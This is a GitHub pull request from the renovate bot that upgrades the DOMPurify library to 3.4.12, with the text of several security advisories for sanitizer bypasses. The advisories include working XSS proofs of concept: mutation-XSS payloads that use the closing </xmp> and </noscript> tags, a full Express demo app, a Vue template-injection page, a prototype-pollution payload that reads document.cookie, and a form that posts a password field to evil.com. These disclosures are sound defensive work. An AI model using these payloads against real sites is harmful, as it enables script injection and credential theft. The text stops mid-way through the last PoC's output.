Skip to content

chore(deps): update dependency dompurify to v3.4.12 [security] - #11214

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-dompurify-vulnerability
Open

chore(deps): update dependency dompurify to v3.4.12 [security]#11214
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-dompurify-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 1, 2026

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
dompurify 3.2.63.4.12 age confidence
dompurify 3.3.13.4.12 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


DOMPurify USE_PROFILES prototype pollution allows event handlers

CVE-2026-65913 / GHSA-cj63-jhhr-wcxv

More information

Details

Summary

When USE_PROFILES is enabled, DOMPurify rebuilds ALLOWED_ATTR as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via ALLOWED_ATTR[lcName], any Array.prototype property that is polluted also counts as an allowlisted attribute. An attacker who can set Array.prototype.onclick = true (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as onclick even when they are normally forbidden. The provided PoC sanitizes <img onclick=...> with USE_PROFILES and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify ADD_ATTR predicate skips URI validation

CVE-2026-65912 / GHSA-cjmm-f4jc-qw8r

More information

Details

Summary

DOMPurify allows ADD_ATTR to be provided as a predicate function via EXTRA_ELEMENT_HANDLING.attributeCheck. When the predicate returns true, _isValidAttribute short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as <a href="javascript:alert(document.domain)"> and have the javascript: URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts href for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass.

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as javascript: to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina’s Apex (https://www.cantina.security).

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify is vulnerable to mutation-XSS via Re-Contextualization

CVE-2026-65914 / GHSA-h8r8-wccr-v5f2

More information

Details

Description

A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using innerHTML and special wrappers. The vulnerable wrappers confirmed in browser behavior are script, xmp, iframe, noembed, noframes, and noscript. The payload remains seemingly benign after DOMPurify.sanitize(), but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (alert(1) in the PoC).

Vulnerability

The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, <xmp> ... </xmp> or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example </xmp> or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (<img ... onerror=...>) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern).

PoC
  1. Start the PoC app:
npm install
npm start
  1. Open http://localhost:3001.
  2. Set Wrapper en sink to xmp.
  3. Use payload:
 <img src=x alt="</xmp><img src=x onerror=alert('expoc')>">
  1. Click Sanitize + Render.
  2. Observe:
  • Sanitized response still contains the </xmp> sequence inside alt.
  • The sink reparses to include <img src="x" onerror="alert('expoc')">.
  • alert('expoc') is triggered.
  1. Files:
  • index.html
<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>expoc - DOMPurify SSR PoC</title>
    <style>
      :root {
        --bg: #f7f8fb;
        --panel: #ffffff;
        --line: #d8dce6;
        --text: #&#8203;0f172a;
        --muted: #&#8203;475569;
        --accent: #&#8203;0ea5e9;
      }

      * {
        box-sizing: border-box;
      }

      body {
        margin: 0;
        font-family: "SF Mono", Menlo, Consolas, monospace;
        color: var(--text);
        background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%);
      }

      main {
        max-width: 980px;
        margin: 28px auto;
        padding: 0 16px 20px;
      }

      h1 {
        margin: 0 0 10px;
        font-size: 1.45rem;
      }

      p {
        margin: 0;
        color: var(--muted);
      }

      .grid {
        display: grid;
        gap: 14px;
        margin-top: 16px;
      }

      .card {
        background: var(--panel);
        border: 1px solid var(--line);
        border-radius: 12px;
        padding: 14px;
      }

      label {
        display: block;
        margin-bottom: 7px;
        font-size: 0.85rem;
        color: var(--muted);
      }

      textarea,
      input,
      select,
      button {
        width: 100%;
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 9px 10px;
        font: inherit;
        background: #fff;
      }

      textarea {
        min-height: 110px;
        resize: vertical;
      }

      .row {
        display: grid;
        grid-template-columns: 1fr 230px;
        gap: 12px;
      }

      button {
        cursor: pointer;
        background: var(--accent);
        color: #fff;
        border-color: #&#8203;0284c7;
      }

      #sink {
        min-height: 90px;
        border: 1px dashed #&#8203;94a3b8;
        border-radius: 8px;
        padding: 10px;
        background: #f8fafc;
      }

      pre {
        margin: 0;
        white-space: pre-wrap;
        word-break: break-word;
      }

      .note {
        margin-top: 8px;
        font-size: 0.85rem;
      }

      .status-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
        gap: 8px;
        margin-top: 10px;
      }

      .status-item {
        border: 1px solid var(--line);
        border-radius: 8px;
        padding: 8px 10px;
        font-size: 0.85rem;
        background: #fff;
      }

      .status-item.vuln {
        border-color: #ef4444;
        background: #fef2f2;
      }

      .status-item.safe {
        border-color: #&#8203;22c55e;
        background: #f0fdf4;
      }

      @&#8203;media (max-width: 760px) {
        .row {
          grid-template-columns: 1fr;
        }
      }
    </style>
  </head>
  <body>
    <main>
      <h1>expoc - DOMPurify Server-Side PoC</h1>
      <p>
        Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML.
      </p>

      <div class="grid">
        <section class="card">
          <label for="payload">Payload</label>
          <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea>
          <div class="row" style="margin-top: 10px;">
            <div>
              <label for="wrapper">Wrapper en sink</label>
              <select id="wrapper">
                <option value="div">div</option>
                <option value="textarea">textarea</option>
                <option value="title">title</option>
                <option value="style">style</option>
                <option value="script" selected>script</option>
                <option value="xmp">xmp</option>
                <option value="iframe">iframe</option>
                <option value="noembed">noembed</option>
                <option value="noframes">noframes</option>
                <option value="noscript">noscript</option>
              </select>
            </div>
            <div style="display:flex;align-items:end;">
              <button id="run" type="button">Sanitize + Render</button>
            </div>
          </div>
          <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p>
          <div class="status-grid">
            <div class="status-item vuln">script (vulnerable)</div>
            <div class="status-item vuln">xmp (vulnerable)</div>
            <div class="status-item vuln">iframe (vulnerable)</div>
            <div class="status-item vuln">noembed (vulnerable)</div>
            <div class="status-item vuln">noframes (vulnerable)</div>
            <div class="status-item vuln">noscript (vulnerable)</div>
            <div class="status-item safe">div (no vulnerable)</div>
            <div class="status-item safe">textarea (no vulnerable)</div>
            <div class="status-item safe">title (no vulnerable)</div>
            <div class="status-item safe">style (no vulnerable)</div>
          </div>
        </section>

        <section class="card">
          <label>Sanitized response</label>
          <pre id="sanitized">(empty)</pre>
        </section>

        <section class="card">
          <label>Sink</label>
          <div id="sink"></div>
        </section>
      </div>
    </main>

    <script>
      const payload = document.getElementById('payload');
      const wrapper = document.getElementById('wrapper');
      const run = document.getElementById('run');
      const sanitizedNode = document.getElementById('sanitized');
      const sink = document.getElementById('sink');

      run.addEventListener('click', async () => {
        const response = await fetch('/sanitize', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ input: payload.value })
        });

        const data = await response.json();
        const sanitized = data.sanitized || '';
        const w = wrapper.value;

        sanitizedNode.textContent = sanitized;
        sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>';
      });
    </script>
  </body>
</html>
  • server.js
const express = require('express');
const path = require('path');
const { JSDOM } = require('jsdom');
const createDOMPurify = require('dompurify');

const app = express();
const port = process.env.PORT || 3001;

const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.use(express.json());
app.use(express.static(path.join(__dirname, 'public')));

app.get('/health', (_req, res) => {
  res.json({ ok: true, service: 'expoc' });
});

app.post('/sanitize', (req, res) => {
  const input = typeof req.body?.input === 'string' ? req.body.input : '';
  const sanitized = DOMPurify.sanitize(input);
  res.json({ sanitized });
});

app.listen(port, () => {
  console.log(`expoc running at http://localhost:${port}`);
});
  • package.json
{
  "name": "expoc",
  "version": "1.0.0",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "start": "node server.js",
    "dev": "node server.js"
  },
  "keywords": [],
  "author": "",
  "license": "ISC",
  "description": "",
  "dependencies": {
    "dompurify": "^3.3.1",
    "express": "^5.2.1",
    "jsdom": "^28.1.0"
  }
}
Evidence
  • PoC

daft-video.webm

  • XSS triggered
daft-img
Why This Happens

This is a mutation-XSS pattern caused by a parse-context mismatch:

  • Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules.
  • Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (xmp raw-text behavior).
  • Attacker-controlled sequence (</xmp>) gains structural meaning in parse 2 and alters DOM structure.

Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk.

Remediation Guidance
  1. Do not concatenate sanitized strings into new HTML wrappers followed by innerHTML.
  2. Keep the rendering context stable from sanitize to sink.
  3. Prefer DOM-safe APIs (textContent, createElement, setAttribute) over string-based HTML composition.
  4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (xmp, script, etc.).
  5. Add regression tests for context-switch/mXSS payloads (including </xmp>, </noscript>, similar parser-breakout markers).

Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1.

Following Fluid Attacks Disclosure Policy, if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft

Acknowledgements: Camilo Vera and Cristian Vargas.

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify contains a Cross-site Scripting vulnerability

CVE-2026-0540 / GHSA-v2wj-7wpq-c8vv

More information

Details

DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the SAFE_FOR_XML regex. Attackers can include payloads like </noscript><img src=x onerror=alert(1)> in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.

Severity

  • CVSS Score: 5.1 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify's ADD_TAGS function form bypasses FORBID_TAGS due to short-circuit evaluation

CVE-2026-65903 / GHSA-39q2-94rc-95cp

More information

Details

Summary

In src/purify.ts:1117-1123, ADD_TAGS as a function (via EXTRA_ELEMENT_HANDLING.tagCheck) bypasses FORBID_TAGS due to short-circuit evaluation.

The condition:

!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])

When tagCheck(tagName) returns true, the entire condition is false and the element is kept — FORBID_TAGS[tagName] is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where FORBID_ATTR explicitly wins first:

if (FORBID_ATTR[lcName]) { continue; }

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both ADD_TAGS as a function and FORBID_TAGS simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check FORBID_TAGS before tagCheck:

if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
Affected Version

v3.3.3 (commit 883ac15)

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify has a SAFE_FOR_TEMPLATES bypass in RETURN_DOM mode

CVE-2026-41239 / GHSA-crv5-9vww-q3g8

More information

Details

Summary
Field Value
Severity Medium
Affected DOMPurify main at 883ac15, introduced in v1.0.10 (7fc196db)

SAFE_FOR_TEMPLATES strips {{...}} expressions from untrusted HTML. This works in string mode but not with RETURN_DOM or RETURN_DOM_FRAGMENT, allowing XSS via template-evaluating frameworks like Vue 2.

Technical Details

DOMPurify strips template expressions in two passes:

  1. Per-node — each text node is checked during the tree walk (purify.ts:1179-1191):
// pass #&#8203;1: runs on every text node during tree walk
if (SAFE_FOR_TEMPLATES && currentNode.nodeType === NODE_TYPE.text) {
  content = currentNode.textContent;
  content = content.replace(MUSTACHE_EXPR, ' ');  // {{...}} -> ' '
  content = content.replace(ERB_EXPR, ' ');        // <%...%> -> ' '
  content = content.replace(TMPLIT_EXPR, ' ');      // ${...  -> ' '
  currentNode.textContent = content;
}
  1. Final string scrub — after serialization, the full HTML string is scrubbed again (purify.ts:1679-1683). This is the safety net that catches expressions that only form after the DOM settles.

The RETURN_DOM path returns before pass #​2 ever runs (purify.ts:1637-1661):

// purify.ts (simplified)

if (RETURN_DOM) {
  // ... build returnNode ...
  return returnNode;        // <-- exits here, pass #&#8203;2 never runs
}

// pass #&#8203;2: only reached by string-mode callers
if (SAFE_FOR_TEMPLATES) {
  serializedHTML = serializedHTML.replace(MUSTACHE_EXPR, ' ');
}
return serializedHTML;

The payload {<foo></foo>{constructor.constructor('alert(1)')()}<foo></foo>} exploits this:

  1. Parser creates: TEXT("{")<foo>TEXT("{payload}")<foo>TEXT("}") — no single node contains {{, so pass #​1 misses it
  2. <foo> is not allowed, so DOMPurify removes it but keeps surrounding text
  3. The three text nodes are now adjacent — .outerHTML reads them as {{payload}}, which Vue 2 compiles and executes
Reproduce

Open the following html in any browser and alert(1) pops up.

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>
Impact

Any application that sanitizes attacker-controlled HTML with SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or RETURN_DOM_FRAGMENT: true), then mounts the result into a template-evaluating framework, is vulnerable to XSS.

Recommendations
Fix

normalize() merges the split text nodes, then the same regex from the string path catches the expression. Placed before the fragment logic, this fixes both RETURN_DOM and RETURN_DOM_FRAGMENT.

     if (RETURN_DOM) {
+      if (SAFE_FOR_TEMPLATES) {
+        body.normalize();
+        let html = body.innerHTML;
+        arrayForEach([MUSTACHE_EXPR, ERB_EXPR, TMPLIT_EXPR], (expr: RegExp) => {
+          html = stringReplace(html, expr, ' ');
+        });
+        body.innerHTML = html;
+      }
+
       if (RETURN_DOM_FRAGMENT) {
         returnNode = createDocumentFragment.call(body.ownerDocument);

Severity

  • CVSS Score: 6.8 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

CVE-2026-41240 / GHSA-h7mw-gpvr-xq4m

More information

Details

There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.

Commit c361baa added an early exit for FORBID_ATTR at line 1214:

/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
  return false;
}

The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:

if (
  !(
    EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
    EXTRA_ELEMENT_HANDLING.tagCheck(tagName)  // true -> short-circuits
  ) &&
  (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])  // never evaluated
) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize(
  '<iframe src="https://evil.com"></iframe>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['iframe']
  }
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)

DOMPurify.sanitize(
  '<form action="https://evil.com/steal"><input name=password></form>',
  {
    ADD_TAGS: function(tag) { return true; },
    FORBID_TAGS: ['form']
  }
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBID_ATTR which correctly wins:

DOMPurify.sanitize(
  '<p onclick="alert(1)">hello</p>',
  {
    ADD_ATTR: function(attr) { return true; },
    FORBID_ATTR: ['onclick']
  }
);
// Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:

/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
  // proceed to removal logic
}

This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

Severity

  • CVSS Score: 6.0 / 10 (Medium)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: Prototype Pollution to XSS Bypass via CUSTOM_ELEMENT_HANDLING Fallback

CVE-2026-41238 / GHSA-v9jr-rg53-9pgp

More information

Details

Summary

DOMPurify versions 3.0.1 through 3.3.3 (latest) are vulnerable to a prototype pollution-based XSS bypass. When an application uses DOMPurify.sanitize() with the default configuration (no CUSTOM_ELEMENT_HANDLING option), a prior prototype pollution gadget can inject permissive tagNameCheck and attributeNameCheck regex values into Object.prototype, causing DOMPurify to allow arbitrary custom elements with arbitrary attributes — including event handlers — through sanitization.

Affected Versions
  • 3.0.1 through 3.3.3 (current latest) — all affected
  • 3.0.0 and all 2.x versions — NOT affected (used Object.create(null) for initialization, no || {} reassignment)
  • The vulnerable || {} reassignment was introduced in the 3.0.0→3.0.1 refactor
  • This is distinct from GHSA-cj63-jhhr-wcxv (USE_PROFILES Array.prototype pollution, fixed in 3.3.2)
  • This is distinct from CVE-2024-45801 / GHSA-mmhx-hmjr-r674 (__depth prototype pollution, fixed in 3.1.3)
Root Cause

In purify.js at line 590, during config parsing:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

When no CUSTOM_ELEMENT_HANDLING is specified in the config (the default usage pattern), cfg.CUSTOM_ELEMENT_HANDLING is undefined, and the fallback {} is used. This plain object inherits from Object.prototype.

Lines 591-598 then check cfg.CUSTOM_ELEMENT_HANDLING (the original config property) — which is undefined — so the conditional blocks that would set tagNameCheck and attributeNameCheck from the config are never entered.

As a result, CUSTOM_ELEMENT_HANDLING.tagNameCheck and CUSTOM_ELEMENT_HANDLING.attributeNameCheck resolve via the prototype chain. If an attacker has polluted Object.prototype.tagNameCheck and Object.prototype.attributeNameCheck with permissive values (e.g., /.*/), these polluted values flow into DOMPurify's custom element validation at lines 973-977 and attribute validation, causing all custom elements and all attributes to be allowed.

Impact
  • Attack type: XSS bypass via prototype pollution chain
  • Prerequisites: Attacker must have a prototype pollution primitive in the same execution context (e.g., vulnerable version of lodash, jQuery.extend, query-string parser, deep merge utility, or any other PP gadget)
  • Config required: Default. No special DOMPurify configuration needed. The standard DOMPurify.sanitize(userInput) call is affected.
  • Payload: Any HTML custom element (name containing a hyphen) with event handler attributes survives sanitization
Proof of Concept
// Step 1: Attacker exploits a prototype pollution gadget elsewhere in the application
Object.prototype.tagNameCheck = /.*/;
Object.prototype.attributeNameCheck = /.*/;

// Step 2: Application sanitizes user input with DEFAULT config
const clean = DOMPurify.sanitize('<x-x onfocus=alert(document.cookie) tabindex=0 autofocus>');

// Step 3: "Sanitized" output still contains the event handler
console.log(clean);
// Output: <x-x onfocus="alert(document.cookie)" tabindex="0" autofocus="">

// Step 4: When injected into DOM, XSS executes
document.body.innerHTML = clean; // alert() fires
Tested configurations that are vulnerable:
Call Pattern Vulnerable?
DOMPurify.sanitize(input) YES
DOMPurify.sanitize(input, {}) YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: null }) YES
DOMPurify.sanitize(input, { CUSTOM_ELEMENT_HANDLING: {} }) NO (explicit object triggers L591 path)
Suggested Fix

Change line 590 from:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || {};

To:

CUSTOM_ELEMENT_HANDLING = cfg.CUSTOM_ELEMENT_HANDLING || create(null);

The create(null) function (already used elsewhere in DOMPurify, e.g., in clone()) creates an object with no prototype, preventing prototype chain inheritance.

Alternative application-level mitigation:

Applications can protect themselves by always providing an explicit CUSTOM_ELEMENT_HANDLING in their config:

DOMPurify.sanitize(input, {
  CUSTOM_ELEMENT_HANDLING: {
    tagNameCheck: null,
    attributeNameCheck: null
  }
});
Timeline
  • 2026-04-04: Vulnerability discovered during automated DOMPurify fuzzing research (Fermat project)
  • 2026-04-04: Confirmed in Chrome browser with DOMPurify 3.3.3
  • 2026-04-04: Verified distinct from GHSA-cj63-jhhr-wcxv and CVE-2024-45801
  • 2026-04-04: Advisory drafted, responsible disclosure initiated
Credit

https://github.com/trace37labs

Severity

  • CVSS Score: 6.9 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


DOMPurify: Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CVE-2026-49458 / GHSA-hpcv-96wg-7vj8

More information

Details

Cross-realm IN_PLACE sanitization leaves executable markup intact via realm-bound instanceof checks

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — realm-bound instanceof checks fail-open on foreign-realm DOM nodes) and CWE-501 (Trust Boundary Violation — foreign-realm nodes accepted for sanitization but later checks are bound to the parent realm)

Summary

DOMPurify.sanitize(node, { IN_PLACE: true }) accepts a DOM node from any same-origin realm (e.g. a node owned by an application-created iframe document), but several follow-on security checks compare the node against constructors from the parent realm. Because constructors are per-realm, instanceof HTMLFormElement, instanceof NamedNodeMap, instanceof DocumentFragment, and instanceof Element all return false for nodes belonging to the iframe's realm. The library therefore proceeds as if the foreign-realm form is not clobberable, the foreign-realm <template>'s .content is not a document fragment, and the foreign-realm attached shadow root is not a document fragment — silently skipping the clobber/template-content/shadow-DOM sanitization branches that those checks gate. Attacker-controlled markup survives in form attributes, template content, and attached shadow roots, and executes when the application later inserts or activates the sanitized node.

Affected
  • DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
  • Any caller that constructs or parses untrusted DOM in a same-origin iframe (or any other same-origin realm — popup window, opened tab, programmatically-created <iframe srcdoc>) and then calls DOMPurify.sanitize(foreignNode, { IN_PLACE: true }) against a sanitizer instance bound to a different realm

Not affected:

  • String-input DOMPurify.sanitize(dirtyString) — the library calls its own parser inside _initDocument, the resulting nodes belong to the sanitizer's own realm, and the instanceof checks resolve as expected
  • IN_PLACE calls where the input node was created in the same realm as the DOMPurify instance
Vulnerability details

The unifying defect is that _isClobbered, _sanitizeShadowDOM's template-content recursion, and _sanitizeAttachedShadowRoots all use realm-bound instanceof checks against the parent-realm constructors. Each branch fails-open for foreign-realm objects.

[A] — _isClobbered gates on element instanceof HTMLFormElement

src/purify.ts:1120-1140:

const _isClobbered = function (element: Element): boolean {
  return (
    element instanceof HTMLFormElement &&    // [A] realm-bound — false for any
                                              //     iframe-realm <form> element
    (typeof element.nodeName !== 'string' ||
      typeof element.textContent !== 'string' ||
      typeof element.removeChild !== 'function' ||
      !(element.attributes instanceof NamedNodeMap) ||   // [A'] also realm-bound
      typeof element.removeAttribute !== 'function' ||
      typeof element.setAttribute !== 'function' ||
      typeof element.namespaceURI !== 'string' ||
      typeof element.insertBefore !== 'function' ||
      typeof element.hasChildNodes !== 'function' ||
      !(element.childNodes && typeof element.childNodes.length === 'number'))
  );
};

A foreign-realm <form> is an instance of the foreign realm's HTMLFormElement, not the parent realm's. The leading instanceof short-circuits to false, so _isClobbered returns false regardless of the named-property clobbering present on the form. The follow-on _sanitizeAttributes then iterates currentNode.attributes — which itself can be a clobbered value (a foreign-realm <input> whose name="attributes" shadows the form's real NamedNodeMap). The attribute walk traverses the wrong collection and never reaches the actual onmouseover / onclick / action=javascript: attributes on the form root.

[B] — _sanitizeShadowDOM gates template recursion on content instanceof DocumentFragment

src/purify.ts:1660-1662:

while ((shadowNode = shadowIterator.nextNode())) {
  ...
  _sanitizeElements(shadowNode);
  _sanitizeAttributes(shadowNode);
  /* Deep shadow DOM detected */
  if (shadowNode.content instanceof DocumentFragment) {   // [B] realm-bound
    _sanitizeShadowDOM(shadowNode.content);
  }
}

The same check exists in the main iterator at :1861-1862:

if (currentNode.content instanceof DocumentFragment) {     // [B'] realm-bound
  _sanitizeShadowDOM(currentNode.content);
}

For a <template> element constructed in a foreign realm, template.content is a DocumentFragment from that realm — not from the parent realm. Both checks miss it, and the template's contents (which carry attacker-controlled <img src=x onerror=...> etc.) are never walked. The sanitized output appears clean from the outside, but the moment a consumer does node.cloneNode(true) / importNode(template.content, true) / inserts it into the live DOM, the embedded handler fires.

[C] — _sanitizeAttachedShadowRoots gates recursion on sr instanceof DocumentFragment

src/purify.ts:1702-1712:

if (nodeType === NODE_TYPE.element) {
  const sr = getShadowRoot
    ? getShadowRoot(root)
    : (root as Element).shadowRoot;
  if (sr instanceof DocumentFragment) {                    // [C] realm-bound
    _sanitizeAttachedShadowRoots(sr);
    _sanitizeShadowDOM(sr);
  }
}

For a host element constructed in a foreign realm with host.attachShadow({mode:'open'}), host.shadowRoot is a foreign-realm ShadowRoot (which extends the foreign realm's DocumentFragment). The instanceof DocumentFragment against the parent realm fails. The whole shadow subtree is skipped. When the host is later attached to the live document, the shadow DOM activates with attacker-controlled content.

The mismatch

DOMPurify accepts foreign-realm nodes for sanitization (the entry-point's _isNode(dirty) at :1750 is realm-agnostic — it checks shape, not constructor identity), so callers reasonably expect that the library's downstream defenses are equally realm-agnostic. They are not. [A] / [B] / [C] each fail-open for foreign-realm objects. A correct guard at each of those sites would use a realm-independent shape check (e.g., nodeType === 11 for DocumentFragment, tag-name comparison for HTMLFormElement recognition).

Proof of concept

Each PoC creates the attacker payload in a same-origin iframe, then calls the parent-realm DOMPurify.sanitize(node, { IN_PLACE: true }) and verifies that handler execution succeeds on subsequent activation.

PoC 1 — cross-realm form clobbering survives
const iframe = document.createElement('iframe');
iframe.srcdoc = '<!doctype html><html><body></body></html>';
iframe.onload = () => {
  const idoc = iframe.contentDocument;
  const div = idoc.createElement('div'); div.id = 'dirty';
  const form = idoc.createElement('form');
  form.setAttribute('onmouseover',
    'window.parent.__dompurify_xss=(window.parent.__dompurify_xss||0)+1');
  const inp = idoc.createElement('input');
  inp.setAttribute('name', 'attributes');                  // clobbers form.attributes
  form.appendChild(inp);
  div.appendChild(form);

  DOMPurify.sanitize(div, { IN_PLACE: true });

  window.__dompurify_xss = 0;
  document.body.appendChild(div);
  form.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  // window.__dompurify_xss === 1
};
document.body.appendChild(iframe);

Observed (Chromium 148, DOMPurify 3.4.5, HEAD 89da34e):

{
  "sanitizeError": null,
  "before": {
    "formIsMainRealmHTMLFormElement": false,
    "formIsForeignRealmHTMLFormElement": true,
    "formAttributesType": "[object HTMLInputElement]",
    "formAttributesEqualsInput": true
  },
